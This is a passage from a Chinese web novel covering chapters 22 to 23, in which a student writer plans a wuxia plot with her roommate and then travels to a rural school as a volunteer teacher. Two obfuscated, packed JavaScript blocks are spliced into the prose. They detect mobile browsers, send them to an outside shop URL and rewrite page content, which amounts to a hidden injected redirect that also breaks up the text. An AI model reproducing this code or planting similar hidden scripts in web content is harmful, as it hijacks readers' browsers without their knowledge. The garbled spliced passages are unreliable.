冉菲菲拖着行李箱,一只手提着酱香饼,还有手抓饼,甘梅薯条,看得出来在美食节转了一圈,另一只手拎着奶茶,整个人带着外面城市的烟火气冲进宿舍。 费野抬头结束了在桌前对着电脑发呆的状态。 “项目结束了?” “结束了,新的项目还没开,我最近就在公司做些数据整理的活。”冉菲菲把外卖放在桌上,夸张地舒了一口气,“我活着回来了。” 她把头发随手扎起来,拆外卖盒。 “你是不知道,我们公司最近在对接一个品牌,要跟一个科幻IP联名。” “科幻?”费野挑眉。 “对啊,估计是宇宙,机甲,未来城市那种。”冉菲菲把筷子递给她,“品牌想蹭IP热度,IP方又怕品牌太土。我们夹在中间写方案写到头秃。” 费野笑了一下:“听起来很像一种奇怪的局。” “就是局。”冉菲菲扒了一口饭,“每个人都想赢,又不想付出代价。”她忽然抬头看费野:“你不是最近在写武侠吗?以后要写科幻吗?” “我没写科幻。”费野摇头,“但我做了个梦。” “什么梦?” 费野沉默了几秒。 “我梦见自己在一个很高科技的地方。”她慢慢说,“建筑都是透明的,交通是悬浮的,人们走路不看手机。” 冉菲菲笑:“听着像宣传片。” “但最奇怪的是,”费野皱着眉,“我在梦里从头到尾没有花钱。” “什么意思?” “就是……”费野想了想,“没有买单,没有转账,没有算价格的场景。好像所有东西都默认可以用。” 冉菲菲停下筷子:“共产主义终极形态?” “可能吧。”费野耸肩,“但梦很模糊。我只记得那种感觉很轻。” “轻?” “对。”她低头看着手里的奶茶,“没有那种必须要付出才能得到的紧张感。” 宿舍里空调轻轻吹着,外卖的香味混在一起,冉菲菲看着她,半开玩笑:“你不会是最近写小说写魔怔了吧?” “也许。”费野笑了一下。 冉菲菲视线忽然落在她桌上那张打印出来的大纲。 “以身入局,胜天半子。”她念出声,“规则正义,结果正义。” “你这个设定挺有趣的。”她把纸拿起来看,“主角要杀恶人?” “不是单纯杀。”费野接过纸,“是改变棋局。” “那恶人是什么样的?”费野想了想:“掌握规则的人。” 冉菲菲靠在椅背上:“那你准备怎么让主角赢?” 费野沉默了一会儿,“也许他不赢。”她继续说着,“死亡说不定才是好的结局。” “那读者会骂你。” “那他至少改变一点东西。” 冉菲菲啧了一声:“听起来很悲壮。” 她忽然又说:“不过,如果你要杀掉恶人。”费野语气压低一点,像在讲秘密,“是不是得先让恶人觉得你不足为据?” 费野抬头。 “什么意思?” “你想啊,”冉菲菲咬着筷子,“真正有权力的人,最怕的是威胁。如果你一开始就锋芒毕露,他早把你掐死了。” “所以?” “所以你得装。”她眯眼,“装成废物,装成被收编的人,说不定这样坏人就觉得他也是坏人,就不会再对他有过多的防范。” 费野眼睛慢慢亮起来。 “接受招安?” “对。”冉菲菲点头,“一个武林高手被朝廷招安,大家都以为他归顺了。” 费野顺着往下想:“他假装失去锋芒。” “让恶人觉得他也是垃圾,不成器。”冉菲菲笑,“这样他才能活着。” 宿舍灯光很亮,桌上的小吃盒冒着热气。 “他需要蛰伏。”费野轻声说。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17264704|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “对。”冉菲菲点头,“蛰伏进棋局里。” 费野脑子里画面一点点清晰起来,一个人卸下刀剑,穿上朝服。 在朝堂上低头。 在暗处布棋。 “但这也有问题。”费野皱眉,“他要忍受侮辱,很多人都会骂他。” “那才真实。”冉菲菲说,“改变规则的人,哪有那么痛快。而且到底是要结果正义达到自己的目的,还是明眼看着傲骨且不畏生死,这都是角色自己的选择。” 费野忽然想起自己的梦,那个不用花钱的世界。也许不是一开始就存在,也许是有人在时代局里一步步换来的。毕竟奔赴同一个结果的路上,行为一致也难说心是不是一致的。 “那规则正义呢?”她问,冉菲菲笑:“规则正义是大家认为需要遵守的,也是小说里很多人遵守的,这样的人刚好跟主张结果正义的人有冲突嘛。” “结果正义才是你真正想要的?” “也许吧。”她摊手,“如果规则本身不公,你守规则干嘛?” 费野沉默。 “可如果打破规则,你也变成恶人呢?” 冉菲菲想了一下:“那就看你打破规则的目的。” 她把奶茶推过去:“你主角想要什么?” 费野看着那两行字。 “他想让普通人不用低头。” 宿舍里安静了几秒,冉菲菲突然笑出声:“你这个武侠,怎么有点像科幻?” 费野愣住。 “什么意思?” “就是——”冉菲菲比划,“你梦里那个社会,不用花钱的感觉。也许是因为有人在前面以身入局,不是吗?” 费野低头,窗外夜色很深。 外卖快吃完了,宿舍里只剩塑料袋的声音。 “那他最后会死吗?”冉菲菲问。 费野盯着电脑屏幕。 “可能。” “那读者肯定骂你。” “那就骂吧。”费野轻声说,“但他赢了半子。” 冉菲菲看着她说道,“你这个人,写的结果太狠了。” 费野笑起来,“现实更狠。” 两个人对视了一下。 冉菲菲突然说:“不过说真的,你那个梦挺有意思。” “嗯?” “一个不需要花钱的世界。”她想了想,“那是不是也没有人因为钱被卡住?那所有人就能去追逐自己可以做的事情了。” 费野没有回答,她只是盯着那两句话。 以身入局,胜天半子。 规则正义,结果正义。 也许梦里的社会,并不是天降,而是有人在很久以前,决定先把自己当成棋子,在成为执棋人之前,必然要成为棋子才能入局。 宿舍灯光柔和夜晚安静,费野重新坐回电脑前。光标在空白处闪着,她开始打字。 22.第二十二章 六月了,差不多是时候出发。 费野的行李还没有收拾,她坐在电脑面前一个个整理着要带的东西,想到一个写一个,写了一个收拾一个,行李箱开在边上,投篮一样一个个往里扔。 宿舍地板上摊着一个半开的行李箱。 费野坐在床边,手里拿着一件薄外套,犹豫了一下,又折起来放进箱子。 六月的天气说热也热,但一想到要去山区,她还是多带了一件。 行李箱里已经装了几件简单的衣服,两本书,还有一摞还没写完的笔记本。 手机在桌上震了一下,费野抬头看了一眼是支教微信群,她看着信息密密麻麻的,但是也没有什么特别的信息,只是群里消息刷得很快,最新的消息就是问大家的出发时间。 “大家最近确定出发时间了吗?” “我这边订了6月3号的车票。” “有没有人从北方一起走的,可以结伴。” 费野擦了擦手,拿起手机往上翻。群成员头像一排排跳动,很多人都在说自己的行程安排。有人要先飞到省会再转车,有人直接买了长途火车。 她在输入框里停了一下。 然后打字,“我订的是6月5号早上的高铁,到省会再转车。” 消息发出去,很快有人回复了一个收到,还有人发了一个举手的表情,费野把手机放回桌上。 宿舍窗户开着,六月的风吹进来,带着一点潮湿的热气。楼下篮球场传来拍球的声音,有人喊着传球。 她看着半收拾好的行李箱,突然有点不真实的感觉。 一学期就这样结束了? 费野总觉得时间过得太快了让她有点不习惯, 前段时间还在写小说上课,改稿,现在忽然就要离开一段时间,去一个完全陌生的地方。 但不知道为什么,费野总觉得支教要去的地方好像就是她应该去的地方。 怎么会有这么奇怪的想法? 费野摇摇头,试图把这些没有用的想法从脑袋里挖出去。 她站起来,继续整理桌面。 书一摞一摞码好,电脑电源线绕成圈,文具装进小盒子。桌上那张新作品的草稿纸,她看了看,最后还是夹进了笔记本。 收拾到一半,她忽然停下。 窗外的天空被夕阳染得橙红,宿舍楼墙面反着光。有人在走廊里拖着箱子经过,轮子在地上发出细碎的声音。 时间过得很快。 费野盯着那行数字看了几秒。 6月4日。 再过一天她就要出发了,收拾东西的时候动作比第一次慢。 她把衣服重新折了一遍,又检查了一次证件。行李箱拉链拉上,又拉开,看有没有漏掉的东西。 宿舍里只剩她一个人。 冉菲菲已经回家,床铺空着,桌上还放着她临走前没喝完的奶茶杯,其他室友也已经回家了。 费野把杯子扔进垃圾袋,顺手把窗户关小一点。 夜里风有点凉。 第二天清晨,她拖着行李箱出了宿舍楼。 校园很安静,只有清洁车在慢慢开。草地上的露水还没干,空气带着清晨特有的清爽味道,她叫了一辆车去高铁站。 城市刚刚醒过来,路边早餐店的蒸汽往外冒,油条在锅里翻滚。红绿灯还没进入高峰模式,车流不算多。 她靠在车窗上,看着街道慢慢往后退。 车站大厅很大,人却不算拥挤。 电子屏幕滚动着列车信息,广播声在高高的屋顶下回响。她拖着行李箱找到检票口,排队的时候低头看了一眼手机。 时间还早。 检票通过后,她进了候车区。 落地窗外是宽阔的轨道,一列列高铁整齐停靠。阳光照在车身上,银白色的外壳反着亮光。 她找到自己的车厢,商务座车厢安静很多。座椅宽大,靠背可以完全放平。她把行李放好,坐下后轻轻舒了一口气。 窗外景色慢慢移动起来。 列车启动的时候几乎没有震动,只是城市的建筑一栋栋往后退。高楼逐渐变低,取而代之的是大片农田和河流。 六月的田野一片绿色。 水渠像细细的线穿过田地,远处山脉起伏,雾气还没完全散开。 费野看了一会儿,忽然觉得眼睛有点酸。 她从包里拿出眼罩。 接下来的路还很长。 到省会之后还要转大巴,再换一段山路的车。她想了想,把座椅放平,调整好角度。 车厢里很安静,有人在看电脑,有人已经睡着。她戴上眼罩,深呼吸了一下,列车在轨道上稳定地向前。 远处的山越来越近,她在心里默默算了一下时间,好像现在睡一觉是最好的办法,下车后还要有几次转车,来来回回的还挺复杂。 ……… 列车在轨道上平稳地向前滑行。 商务座车厢的灯调得很暗,窗外的光被窗帘挡住,只剩下一层柔和的蓝色。 费野戴着眼罩,呼吸慢慢变得均匀。 不知道过了多久,她忽然听见有人叫她的名字。 “陈绍宁。”声音很清晰,费野下意识抬头。 眼罩不见了,眼前的空间却完全不是车厢。 脚下是一条宽阔的步道,地面像某种半透明的材质,光线从里面缓慢流动。远处建筑高高低低,却没有尖锐的棱角,像被风打磨过的曲面。 空气很干净,没有车声也没有喇叭。 “陈绍宁,你走这么慢干什么?”她听到声音往回看,回头就发现一个女生站在她身后,穿着简单的浅色衣服,正一边看终端一边等她。 对方的神情很自然,好像两个人已经在这里生活很久,费野愣住。 “你刚刚叫我什么?” 女生抬头:“陈绍宁啊。” 费野皱了皱眉:“我叫费野。” 女生却笑了一下,像是听见什么很普通的纠正。 “我知道了,是不是还没结束?还是你还记着什么?” 费野站在原地,看了看周围。步道两侧是很高的树,叶子很大,风吹过的时候会发出轻轻的沙声。 远处有悬浮的交通舱慢慢滑过,没有轮子,像一颗颗安静移动的水滴,她忽然意识到,这里不像现实。 “这是哪里?” “学校。”女生说,“你刚下课不是说要去吃饭吗?” 费野心里有点发紧,她盯着那女生看了一会儿,又低头看自己的手。衣服的触感很真实,空气的温度也刚刚好。 可越真实她越觉得不对,“等一下。”费野忽然说。 女生停下脚步,“怎么了?” 费野抬头看她:“我知道这是梦。” 女生先是愣了一下,然后笑起来,看起来很像那种觉得事情很有意思的笑,但也算不上是调笑,“你怎么每次都这么说?” “因为这里不是真的。”费野说,“我刚刚还在高铁上,这不就是个……” 费野发现自己好像想不起来一个什么词。 女生看着她,眼睛弯了一点,“你确定?” 费野点头,“我很确定。” 女生没有反驳,只是慢慢往前走了两步,然后转过身面对她。 “那你有没有想过,”她语气很轻,“也许只有你自己是梦?” 费野一瞬间愣住。 风从树叶间吹过,光线在地面上流动,女生继续说:“如果你是梦里的人,那你醒过来之后,这里才会消失。” 费野心里突然有点空,“可我在高铁上。”她下意识说。 “那只是你的记忆。”女生笑着耸肩,“谁知道哪个是真的呢?” 费野盯着她,一时间不知道该怎么回答。远处有人从步道另一头走过,空气安静得像一幅画。女生忽然抬头看了一眼天空。 “算了。”她说,“看来你又要醒了。”费野还没反应过来,下一秒,世界像被谁轻轻拨了一下。 声音先回到她的耳朵里,把她直接带回现实,“各位旅客,列车即将到达…… ” 费野猛地睁开眼,她扯下自己的眼罩,商务座车厢的灯光重新出现,广播声在头顶回荡。她还靠在座椅上,松了手眼罩滑到额头。 窗外的风景飞快向后退,广播继续报站:“前方到站XX………” 费野坐直了一点心跳还有点快,她低头看手机,时间跳了一下。列车行程表显示,她距离下车的站点,还有两个小时。 车厢很安静,她揉了揉眼睛往窗外看了一眼,远处的山和田野连成一片。梦的细节却还留在脑子里,那个名字是陈绍宁。 还有那句话,只有你自己是梦。 但这些东西也不会一直存在,时间久了这些东西就默默的悄无声息的从脑海里消失了。 费野把座椅微微调直了一点,眼罩被她挂在扶手上。 商务座车厢里很安静,只有前排有人偶尔翻动报纸的声音。 窗帘被她拉开一半,外面的景色像一幅慢慢移动的长卷。 她拿出手机,点开了小地瓜,刷点视频来打发时间。屏幕一刷新就是一条短视频。 背景音乐很熟悉,是最近特别火的一首歌。节奏轻快,前奏刚响出来,她就认出来了。视频里是一个女生在街头跳舞,字幕写着毕业前一定要做的十件事。 费野看了两秒,顺手点了个喜欢,下一条视频是旅行博主在海边拍日落,音乐换成了另一首同样热门的歌。评论区里有人说:“听到这首歌就想辞职去旅行。” 费野戴上耳机,音乐一下子把车厢里的安静隔开了。她把手机放在腿上,视频一条一条往下刷。有人在分享实习经历,有人在晒刚买的衣服,也有人记录生活里很普通的小事。 刷到一半她忽然停住,视频里是一个女生背着帆布包在山路上走。字幕写着支教第一天,学校比我想象的小。 费野盯着那一幕看了几秒,评论区有人问:“苦吗?” 女生回复:“其实还好,就是有点不习惯。” 费野没有点进去,只是停了一会儿,又继续往下刷。 音乐换了一首,这次是那种很温柔的旋律,歌词里反复唱着你要去看远方,她忽然把手机锁屏。 耳机里的音乐还在继续。 车窗外的景色慢慢往后退。大片田野铺开,绿色一层一层叠在一起。偶尔看到水洼一穿过去就看着水面反着光。 费野靠在椅背上,看着那水洼慢慢远离。她其实还没完全想明白,自己为什么会报名支教。 当时只是觉得可以去看看。大学这几年自己的生活几乎都在同一条轨道上。 上课,写作,投稿,偶尔接一点稿费,日子不算忙但也不算轻松,有时候她会觉得,自己写的那些故事太轻了。 江湖、棋局、英雄。 这些东西写起来很漂亮,可离 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她低头看手机,小地瓜还停在刚刚那条支教视频上,评论区有人说:“你们好伟大。”也有人说:“这种事情坚持不了多久吧。” 费野盯着那两句话。 伟大。 坚持不了。 她忽然笑了一下。 其实她并不觉得自己伟大。 她只是好奇。 好奇那些每天生活在未知生活里的人是怎么过日子的。音乐还在耳机里流动,窗外的景色开始变得更开阔。远处的山线慢慢出现颜色从浅绿变成深绿。 费野忽然想到一个问题,如果她写小说里的沈观,会不会也让他去看一看别的世界?他需要知道世界到底是什么样子。而新的人物也需要慢慢的去继续构思。 费野摘下一只耳机,听见推车的声音从前面慢慢靠近,车厢里有人起身有人把桌板放下来。她忽然意识到,自己已经坐了很久。 肚子有点饿,她把手机放进包里重新看向窗外,阳光从云层里漏下来,落在田野上。 餐车推过来的时候,车厢里多了一点热气。 乘务员把餐盒轻轻放在费野面前的小桌板上,语气温和:“您的餐。” 费野点了点头,道了声谢。餐盒是那种标准的高铁配餐包装,干净整齐。打开之后里面分成几格。 一份米饭,一份鸡肉配菜,一小份蔬菜,还有一个装着水果的小盒子。旁边附着一瓶矿泉水和一小袋坚果。 费野把餐盒往窗边挪了一点。 商务座的车窗很大,外面的景色正好映进来。远处的山线一层一层叠着,田野在阳光下显得很亮。 她忽然觉得这个画面挺好看。 于是拿起手机拍了一张。 餐盒、窗外的山,还有桌板上那一点反光。照片构图很简单,但有一种在路上的感觉。 她点开朋友圈,想了想,打了一行字。 “支教路上第一顿高铁餐。”停了一下,她又补了一句,“希望到地方的时候我还这么淡定。” 发出去之后,她把手机放在桌上,开始慢慢吃饭。 米饭还算热,鸡肉味道也不差。车厢里有人在小声说话,有人低头看电脑,整个空间安静得像一个缓慢移动的房间。 吃到一半手机震了一下,费野低头看,朋友圈多了一个点赞,头像是一只猫抱着海绵宝宝。 新朋友给点赞了?费野愣了一秒,这个头像她太熟悉了。当初第一次注意到他,就是因为这个头像,她点开朋友圈提醒,对方没有评论,只是简单地点了个赞。 费野盯着那个小小的红心看了一会儿。 她忽然想起几个月前的一件事。 那时候她刚写完沈观的人设,在朋友圈发了内容,只是留存一下设定,想着转成个人可见最后还是没弄明白。 她自己发完就去做别的事了。 结果第二天,微信突然收到ID是孟的留言,除了安排支教的事情,还说小说里的沈观很有意思。 她当时愣了半天,因为她几乎不认识这个人。 点进朋友圈一看,才发现对方发了很多孟余,估计是孟余的粉丝,喜欢看电视剧所以对角色很感兴趣? 她对“孟”这个ID有点印象,之前支教群刚建立的时候,大家都在群里自我介绍,他是最早说话的人之一。 两个人简单聊了几句。 对方说自己看见她朋友圈那段人物设定,觉得挺有意思,就想问问她是不是在写小说。 费野当时有点不好意思。 她说只是随便写写。 后来才知道,他本来就负责接应这一批支教志愿者。很多事情需要提前沟通,所以群里不少人都加了他的微信。 但她心里还是觉得有点奇妙,有人还真的挺关注这个角色,费野低头笑了一下。 手机屏幕还停在那条点赞提醒上,她点进孟余的头像。朋友圈更新不多,只能见三个月,大部分是支教相关的照片。操场、教室、小孩子的画,还有山里的天空,已经没有那个叫孟余的演员的照片了。 她往下滑了一会儿就没有再看,费野抬头看向窗外。 高铁还在向前,远处的山越来越近,手机屏幕暗下去。她重新拿起筷子,把餐盒里最后一块水果吃掉。 费野心里忽然冒出一个念头,也许等自己到达那座山里的学校时,会对自己写的角色有什么新的想法吗? 23.第二十三章 其实下午高铁到站的时候时间已经不早了。 费野拖着行李从出站口走出来,人群在大厅里慢慢散开。外面的空气明显比车厢里热,带着一点潮湿的味道。 她站在门口看了看手机,群里早就有人说过,到省会站之后,会有人接他们这一批志愿者。 她还没来得及再确认,手机就震了一下。 一条消息跳出来。 “到站了吗?我在出站口外面。” 费野抬头,往外走了几步,孟的消息不多,反正两人聊的东西也不多。 出站口外面停着几辆车,人群里有人举着接站牌。她刚想再看手机,就听见有人叫她的名字。 “费野?”声音不算大,但很清楚。 她转头,看见一个男人站在不远处。 白色T恤,背着一个有点旧的双肩包,头发被风吹得有点乱。他看起来比照片里更瘦一点,但笑起来的表情很温和。 “孟余?”她试探着问,“你是孟余对吧?” 费野从见到孟余的第一时间就认出来了,但是她有很多想问且好奇的都没有说出来。 但在这之前,她完全没想到这个支教老师就是演员孟余? 不是,演员不是都说很忙的吗? 但费野到没有问这个事情,她并不在意演员怎么突然这么有时间当支教老师。 “嗯。”他点点头,伸手接过她的行李箱,“这一批就你先到了。” 费野有点不好意思:“是不是太早了?” “还好。”孟余笑了一下,“山里车不多,早点走路上也不赶。” 他们往停车场走。 外面停着一辆有点旧的越野车,车身被灰尘染成浅土色。孟余把行李放进后备箱,关门的时候动作很利落。 “接下来要转几次车?”费野问。 “先开到县城,大概两个小时,车我也是借的老乡的车。”他说,“再换小巴进山。” 费野点点头,车发动的时候天色已经有点往傍晚走。城市的高楼慢慢被甩在身后。路边的建筑越来越低,广告牌也少了,很快视野就被大片田野取代。 六月的田地是深绿的,水渠在田间穿过,远处有农民弯着腰干活。偶尔有一群白鹭从水边飞起来,翅膀在阳光里闪一下。 费野靠着车窗看了一会儿。 “这条路你走很多次了吗?” “最近走得多。”孟余说,“一开始也不熟。” 车开出城后,路慢慢变窄,两侧开始出现低矮的山,树越来越密。阳光从树叶间落下来,在路面上晃动。 费野忽然想起什么。 “你看到我朋友圈了吗?” 孟余点头:“看到了。” “那个高铁餐?然后你就差不多出来火车站了吗?” “嗯。” 费野笑了一下,车里安静了一会儿,只有轮胎压过路面的声音。过了几分钟,孟余忽然说:“我记得你有写一个小说?你那个沈观的设定我挺喜欢的。” 费野愣了一下。 “真的?” “嗯。”他说,“一个人知道棋局不公平,但还是选择走进去。” 费野看向他,“你不觉得他很惨吗?” 孟余没有马上回答。 车拐进一段山路,前面是一片更深的绿色。远处山线起伏,云压得很低。 “惨是肯定的。”他说,“但有些人就是会这么选。” 费野低头笑了一下。 “其实我最近又想到一个角色。” “谁?” “柳疏。” 孟余侧头看了她一眼。 “名字很好听。” 费野想了一下慢慢说:“他是个练武的书生。” “书生?” “对。”她点头,“读书,也练剑。” 车继续往前,费野的声音不大,但很清楚。 “故事发生在灾荒年,但我没想好是架空还是现实,那时候百姓饿死很多,官仓却一直不放粮。” 孟余握着方向盘,没有打断。 “柳疏听说之后一个人进京。”费野说,“他直接闯进皇宫。” “闯进去?” “对。”她笑了一下,“带着剑。” 山路开始变弯,远处能看见一条河从山谷里绕出来。 “他见到皇帝之后说……”费野顿了一下,“要么开官仓,要么他死。” 车里突然安静了一瞬,孟余看着前面的路。 “然后呢?”他问。 “皇帝觉得自己的权威被挑衅。”费野说,“当场下令杀了他。而柳疏说的给百姓求粮食的事情,天下具是枯骨的事情,皇帝并不在意。”话说完之后,她自己先沉默了,车窗外的风景一片片往后退。 山里的空气比城市清得多,风从开了一点的车窗缝里钻进来。 孟余没有说话,过了好一会儿他才轻轻叹了一口气。 “这个人很傻。” 费野侧头看他,“你不喜欢?” 孟余摇了摇头,“不是。”他停了一下,像是在找合适的词,“是很干净。” 费野听到这里没出声。 车在一个弯道慢慢减速,山谷下面是大片梯田,水面反着光。 “那你的故事里,柳疏去皇宫之前,他知道自己会死吗?”孟余问。 “知道。”费野说,“甚至很多人告诉他不要坚持,不要反抗,顺从着当个瞎子任由皇帝随意做什么都行,反正即便这样柳疏也不会死。” “那他为什么还去?”费野想了一下,“可能因为……有人必须去。可能他读的圣贤书告诉他,以天下为己任,先天下之忧而忧。” 孟余沉默了一会儿,他的表情没有太大变化,但眼神明显柔和了一点。 “我挺喜欢这个角色的。”他说。 费野有点惊讶。 “为什么?” 孟余看着前面的路。 “因为他没有幻想,很纯粹,很有理想,很明白道理。” “什么意思?” “他不是觉得自己会赢。”孟余说,“他只是觉得该做。” 车继续往山里开,远处的天空被晚霞染成一点点橙色,费野忽然觉得,这句话很适合柳疏。 不是英雄只是一个人觉得,这件事不能没人做,她低头在手机备忘录里记了一句。 “所以柳疏不是要赢。”她轻声念出来,“他只是要敲一下门。” 孟余听见了,笑了一下说,“我以我血荐轩辕。” ………… 县城的车站不大。 孟余把车停在一排旧巴士旁边时,太阳已经往西沉了。天边的光被山挡住,只剩一层淡淡的橙色。空气里带着一点潮湿的泥土味,还有路边小摊油锅的香气。 孟余把车熄了火,“到了。” 车是借的,但车主也就住在附近,孟余把车停在这里也是OK的。 费野推开车门下车,脚刚落地,就听见远处有人喊车次。 几辆小巴停在站台旁,车身上贴着褪色的线路牌。窗户半开着,风从里面吹出来。 她拖着行李跟在孟余后面。 “接下来就坐这个?”她问。 “嗯。”孟余点头,“从县城到镇上,再往里就没有正式车站了。” 小巴的司机正靠在车门边抽烟,看见他们走过来,把烟掐灭。 “去山里的学校?”他问。 “对。”孟余说。 司机点点头:“等十分钟就走。” 费野把行李放进车尾,回头看了一眼车站。这里没有城市里那种巨大的候车大厅,只有几间低矮的房子。 旁边是一条小街,卖水果、零食、日用品的小店挤在一起,有种回到了很久很久以前,还是千禧年的那种簇拥视觉。 天色慢慢暗下来,街灯亮起。 费野忽然说:“我去买点东西。” 孟余看向她:“买什么?” “给学生带点小东西。”她说。 他点头:“我在车上等你。” 费野转身往那条小街走,街道很窄两边的店铺灯光有点昏黄。玻璃柜台里摆着零食,糖果一袋一袋堆在角落。 她停在一家小卖部门口,老板是个中年女人,正坐在椅子上扇扇子。 “买点什么?” 费野看着柜台里的东西,她其实也不知道该买什么。 文具?书?玩具? 这些都很好,但她带的钱不多。来之前,她就给自己算过预算,车费、生活费,还有一些备用的钱。 她站了一会儿。 最后目光落在一大袋糖果上。 那种彩色包装的水果糖,一颗一颗亮亮的。 “这个多少钱?”她问。 老板抬头看了一眼。 “整袋二十五。” 费野点点头。 “那我买一袋。” 老板把糖装进塑料袋递给她,袋子不算轻。 费野拎着走回车站的时候,天已经完全暗下来。远处山影连成一片,只有路灯把小巴车身照得亮一点。 孟余坐在车里,窗户开着,看见她回来,他抬手打了个招呼。 费野上车,把袋子放在座位旁边。 “买了什么?”他问。 她把袋子打开,里面是一堆彩色糖。 孟余愣了一下。 “糖?” 费野点头,“我想不到别的了。”她笑了一下,“但糖至少有个好寓意。” “什么寓意?” “日子甜一点。” 车里安静了一秒,孟余低头看那袋糖。小巴开始慢慢坐满人,司机上车发动车子。引擎声音有点粗,但很稳。 车子开出车站的时候,费野把袋子抱在怀里。 山路开始出现。 窗外的灯越来越少,黑暗里只有偶尔经过的村庄。 车灯照着路面,树影一棵棵往后退。 费野忽然说:“学校现在缺什么老师?” 孟余想了想。 “语文,数学,英语都缺。” “这么多?” “嗯。”他点头,“有的老师一周要带好几门课。” 费野皱了一下眉。 “那学生怎么办?” “习惯了。”孟余说。 他语气很平,费野侧头看他,她说道,“你说得好轻松。” 孟余笑了一下,“不是轻松,是现实。” 车在一个弯道慢慢转过去,远处山谷里有几盏灯。 费野沉默了一会儿。 “那你教什么?” “美术课。”他说,“有时候也带音乐。” “学生多吗?” “一个年级二十几个。” 费野点点头。 “那挺好。” 孟余看了她一眼,“你不怕吗?” “怕什么?” “环境,条件。”他说,“很多人来之前都觉得自己能适应。” 费野靠在座椅上,窗外的风从车窗缝里吹进来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17286660|196424||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我不知道能不能适应。”她说,“但我觉得,至少应该看看。” 孟余没有接话,车里有乘客在小声聊天,费野忽然从袋子里抓了一把糖,彩色糖纸在灯光下闪了一下,她递给孟余。 “给。” 孟余愣了一下。 “干嘛?” “祝福你。”她笑。 “祝福什么?” “以后日子甜一点。” 车子刚好过一个颠簸的路段,糖在他掌心轻轻晃了一下。孟余看着那几颗糖,表情有点复杂,过了一会儿,他轻轻笑了一下。 “那我收下。” 他把糖放进口袋,车继续往山里开,夜色越来越深,远处的学校看起来还在山的另一头。 路有点远,但车子一直在路上走着,没有停过。 小巴在最后一个弯道减速的时候,天已经完全黑了。 车灯扫过路边的树干,一排排影子往后退。远处偶尔能看见几盏昏黄的灯,像散落在山谷里的星点。司机把车停在一块空地旁边,说了一句:“到这儿了。” 车门打开,一股带着山风的凉气涌进来。 费野拎起那袋糖,下车的时候脚下踩到一层细碎的砂石。 夜色很深,抬头看能见到一片完整的星空,城市里很少有这么清楚的星。 小巴很快又开走了,尾灯在弯道后消失。 四周突然安静下来,孟余从后备箱拿出她的行李,顺手把车门关上。 “学校就在前面。”他说。 费野顺着他指的方向看过去,远处山坡上有几栋房子亮着灯,灯光不算亮,但很稳定。夜里能听见虫鸣,声音一层一层叠在空气里。 两人沿着一条水泥路往上走,路不算宽但修得挺平整。路边长着野草有几棵树被路灯照着,叶子反出一点暗绿的光。 费野拖着行李箱轮子在地面发出轻轻的滚动声。 “晚上这么安静?”她小声问。 “学生都住在学校里,作息挺规律。”孟余说,“这个点差不多准备睡了。” 他们走到校门口的时候,费野停了一下。 门口是一块简单的铁门,上面挂着学校的牌子。灯光从门口的灯柱照下来,把院子里的一部分照亮。 学校不大,两栋三层的教学楼,一栋宿舍楼,还有一块不算很大的操场。操场不是塑胶的,是那种压平的泥地,但边缘用水泥圈起来。 远处还能看见一栋新一点的小楼。 “那是新修的食堂。”孟余看见她在看,就解释了一句,“这几年政府拨款把一些基础设施翻新了。” 费野点点头,她慢慢走进院子,操场上有两个篮球架,篮网有点旧但还挂着。边上种着几棵树,树影在灯下摇晃。 空气里有一种很淡的泥土味,她站在那儿看了一会儿,心里忽然有点说不出的感觉,有点像一种突然被现实拉住的安静。 她之前在网上看过很多支教照片,有些地方条件很差,也有一些已经改善很多。可真正站在这里的时候,她才意识到这里是别人每天生活的地方。 “怎么了?”孟余问。 费野回过神。 “没什么。”她笑了一下,“就是突然觉得,挺真实的。” 孟余没有说话。 他们继续往宿舍楼走,楼道的灯开着光线有点暖。墙面刷过新的白漆但能看见一些旧痕迹,楼梯扶手是金属的,摸上去有点凉。 “老师住在这边。”孟余说。 宿舍在二楼,他拿钥匙开门的时候,费野往里面看了一眼,房间不大两张单人床,一张书桌,一排衣柜。窗户对着操场,窗帘是浅蓝色的。 家具看得出来用了几年但都很干净,床上铺着新的被褥。 “条件还可以。”孟余说,“比以前好很多。” 费野走进去把行李放在床边,她摸了一下桌面,木头表面很光滑。 “政府拨款修过吗?”她问。 “修过几次。”孟余点头,“教室,食堂,还有宿舍这些基本设施都会定期更新。” 费野点点头,她把糖放在桌上又把窗户打开一点,夜风从外面吹进来带着操场上的泥土味。 她忽然想起什么。 “明天有什么安排吗?” 孟余愣了一下。 “明天?” “嗯。”她说,“我今天刚到,还不知道课程怎么排。” 孟余看着她突然笑了一下。 “明天周末。” 费野一愣。 “啊?” 她掏出手机看日期,今天还真是星期五,她忍不住笑起来,“我刚才完全没意识到。” 孟余靠在门边。 “周末不上课,学生会自己安排时间。” 费野松了一口气。 “那挺好。”她想了想,又问:“那我们明天干嘛?” 孟余说:“接新老师。” “还有人来?” “嗯。”他说,“跟你一样的,都是第二批支教志愿者。” 费野点头,“那我也去。” 孟余笑了一下,点点头说,“好。” 房间里灯光安静,窗外的操场被夜色包住,只有路灯下的一小块地亮着。费野忽然觉得这个地方虽然远,但没有她想象中那么陌生。 明天,还会有人来。 未来的每一天,都会有人来。 想到这费野反而觉得在这里能看到生生不息的希望。 因为明天确实还会有人来。 24.第二十四章 【他们杀了柳疏 